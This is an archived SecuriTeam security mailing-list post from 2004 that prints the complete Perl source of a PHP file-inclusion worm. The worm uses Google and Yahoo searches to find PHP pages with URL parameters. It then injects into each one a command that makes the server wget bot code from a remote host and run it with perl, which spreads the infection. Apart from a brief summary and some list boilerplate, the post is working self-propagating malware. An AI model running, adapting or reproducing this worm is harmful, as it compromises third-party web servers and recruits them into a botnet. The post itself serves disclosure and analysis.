[EXPL] PHP Scripts Automated Arbitrary File Inclusion (Worm)

From: SecuriTeam (support_at_securiteam.com)
Date: 12/27/04

  • Next message: SecuriTeam: "[NT] Microsoft Windows LoadImage API Integer Buffer Overflow"
    To: list@securiteam.com
    Date: 27 Dec 2004 12:33:53 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      PHP Scripts Automated Arbitrary File Inclusion (Worm)
    ------------------------------------------------------------------------

    SUMMARY

    The following exploit/worm (PhpInclude.Worm) attacks any CGI it can find
    using Google and Yahoo and tries to cause them to include an arbitrary PHP
    file that is then executed becoming the sibling of the worm.

    DETAILS

    Exploit:
    #!/usr/bin/perl

    use LWP::Simple;
    use IO::Socket::INET;

    while(1){
    $numr = int rand(9999);
    $caxe = ".";
    $caxe1 = ".";
    $caxe .= rand(9999);
    $caxe1 .= rand(9999);
    $arq = ".";
    $arq = int rand(9999);

    open(sites,">$arq");
    print sites "";
    close(sites);

    $procura = 'inurl:*.php?*=' . $numr;

    for($n=0;$n<900;$n += 10){
    $sock = IO::Socket::INET->new(PeerAddr => "www.googl3.com.br", PeerPort
    -> 80, Proto => "tcp") or next;
    print $sock "GET /s3arch?q=$procura&start=$n HTTP/1.0\n\n";
    @resu = <$sock>;
    close($sock);
    $ae = "@resu";
    while ($ae=~ m/<a href=.*?>.*?<\/a>/){
    $ae=~ s/<a href=(.*?)>.*?<\/a>/$1/;
    $uber=$1;
    if ($uber !~/translate/)
    {
    if ($uber !~ /cache/)
    {
    if ($uber !~ /"/)
    {
    if ($uber !~ /google/)
    {
    if ($uber !~ /216/)
    {
    if ($uber =~/http/)
    {
    if ($uber !~ /start=/)
    {
    open(arq,">>$arq");
    print arq "$uber\n";
    close(arq);
    }}}}}}}}}

    for($cadenu=1;$cadenu <= 991; $cadenu +=10){

    @cade =
    get("http://cad3.s3arch.yahoo.com/s3arch?p=$procura&3i=UTF-8&fl=0&all=1
    &pstart=1&b=$cadenu") or next;
    $ae = "@cade";

    while ($ae=~ m/<em class=yschurl>.*?<\/em>/){
    $ae=~ s/<em class=yschurl>(.*?)<\/em>/$1/;
    $uber=$1;

    $uber =~ s/ //g;
    $uber =~ s/<b>//g;
    $uber =~ s/<\/b>//g;

    open(a,">>$arq");
    print a "$uber\n";
    close(a);
    }}

    $ark = $arq;
    @si = "";
    open (arquivo,"<$ark");
    @si = <arquivo>;
    close(arquivo);
    $novo ="";
    foreach (@si){
    if (!$si{$_})
    {
    $novo .= $_;
    $si{$_} = 1;
    }
    }
    open (arquivo,">$ark");
    print arquivo $novo;
    close(arquivo);

    $a =0;
    $b =0;
    open(ae,"<$arq");
    while(<ae>)
    {$sites[$a] = $_;
    chomp $sites[$a];
    $a++;
    $b++;}
    close(ae);

    for ($a=0;$a<=$b;$a++){
    open (file, ">$caxe");
    print file "";
    close(file);
    open (file, ">$caxe1");
    print file "";
    close(file);
    $k=0;
    $e=0;
    $data=get($sites[$a]) or next;
    while($data=~ m/<a href=".*?">.*?<\/a>/){
    $data=~ s/<a href="(.*?)">.*?<\/a>/$1/;
    $ubersite=$1;

    if ($ubersite =~/"/)
    {
    $nu = index $ubersite, '"';
    $ubersite = substr($ubersite,0,$nu);
    }
    if ($ubersite !~/http/)
    {$ubersite = $sites[$a].'/'.$ubersite;}
    open(file,">>$caxe") || die("nao abriu caxe.txt $!");
    print file "$ubersite\n";
    close(file);
    }

    $lista1 = 'http://server/spy.gif?&cmd=cd /tmp;wget
    www.server.tld/spybot.txt; perl php.txt';
    # Other filenames included with this and other variants :
    # adfkgnnodfijg
    # bot
    # bot.txt
    # bot.txt.1
    # dry.scp
    # ssh.a
    # terrorbot.txt
    # terrorbot.txt.1
    # terrorworm.txt
    # terrorworm.txt.1
    # unbot.txt
    # unbot.txt.1
    # unbot.txt.2
    # unbot.txt.3
    # unworm.txt
    # unworm.txt.1
    # unworm.txt.2
    # unworm.txt.3
    # worm1.txt
    # worm.txt
    # worm.txt.1
    $t =0;
    $y =0;
    @ja;
    open(opa,"<$caxe") or die "nao deu pra abrir o arquivo caxe.txt";
    while (<opa>)
    {
    $ja[$t] = $_;
    chomp $ja[$t];
    $t++;
    $y++;
    }
    close(opa);
    $t=1;
    while ($t < $y)
    {
    if ($ja[$t] =~/=/)
    {
    $num = rindex $ja[$t], '=';
    $num += 1;
    $ja[$t] = substr($ja[$t],0,$num);
    open (jaera,">>$caxe1") or die "nao deu pra abrir ou criar caxe1.txt";
    print jaera "$ja[$t]$lista1\n";
    close(jaera);
    $num = index $ja[$t], '=';
    $num += 1;
    $ja[$t] = substr($ja[$t],0,$num);
    $num1 = rindex $ja[$t], '.';
    $subproc = substr($ja[$t],$num1,$num);

    open (jaera,">>$caxe1") or die "nao deu pra abrir ou criar caxe1.txt";
    print jaera "$ja[$t]$lista1\n";
    close(jaera);
    }
    $t++;
    }
    $ark = "$caxe1";
    @si = "";
    open (arquivo,"<$ark");
    @si = <arquivo>;
    close(arquivo);
    $novo ="";
    foreach (@si){
    if (!$si{$_})
    {
    $novo .= $_;
    $si{$_} = 1;
    }
    }
    open (arquivo,">$ark");
    print arquivo $novo;
    close(arquivo);
    $q=0;
    $w=0;
    @hot;
    open (ops,"<$caxe1");
    while(<ops>)
    {
    $hot[$q] = $_;
    chomp $hot[$q];
    $q++;
    $w++;
    }
    close(ops);

    for($q=0;$q<=$w;$q++)
    {

    if ($hot[$q] =~/http/)
    {
    $tipo=get($hot[$q]) or next;
    }}
    }
    }

    ADDITIONAL INFORMATION

    The information has been provided by Anonymous.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NT] Microsoft Windows LoadImage API Integer Buffer Overflow"

    Relevant Pages

    • [NT] Cross Application Scripting in Trend Micros Antivirus Software
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... The SecuriTeam alerts list - Free, Accurate, Independent. ... When the product alerts the user of a possible virus, it creates an HTML ...
      (Securiteam)
    • [NT] Microsoft Windows NTFS Improper Handler Closing
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... from a system shutdown, uninitialized data may be visible in files from ...
      (Securiteam)
    • [EXPL] Eudora Attachment Spoof Exploit Revisited
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... present in the newest release of Eudora. ... Can be exploited if there is more than one way into attach: in my setup ...
      (Securiteam)
    • [UNIX] Phorum SQL Injection (userlogin.php)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... An SQL injection vulnerability exists in the 'userlogin.php' script. ... the MD5 hash of the user one character at a time. ...
      (Securiteam)
    • [EXPL] WinAce Temporary File Handling Buffer Overflow
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Local exploitation of a buffer overflow vulnerability in WinAce allows ... WinAce Temporary File Parsing Buffer Overflow Vulnerability ...
      (Securiteam)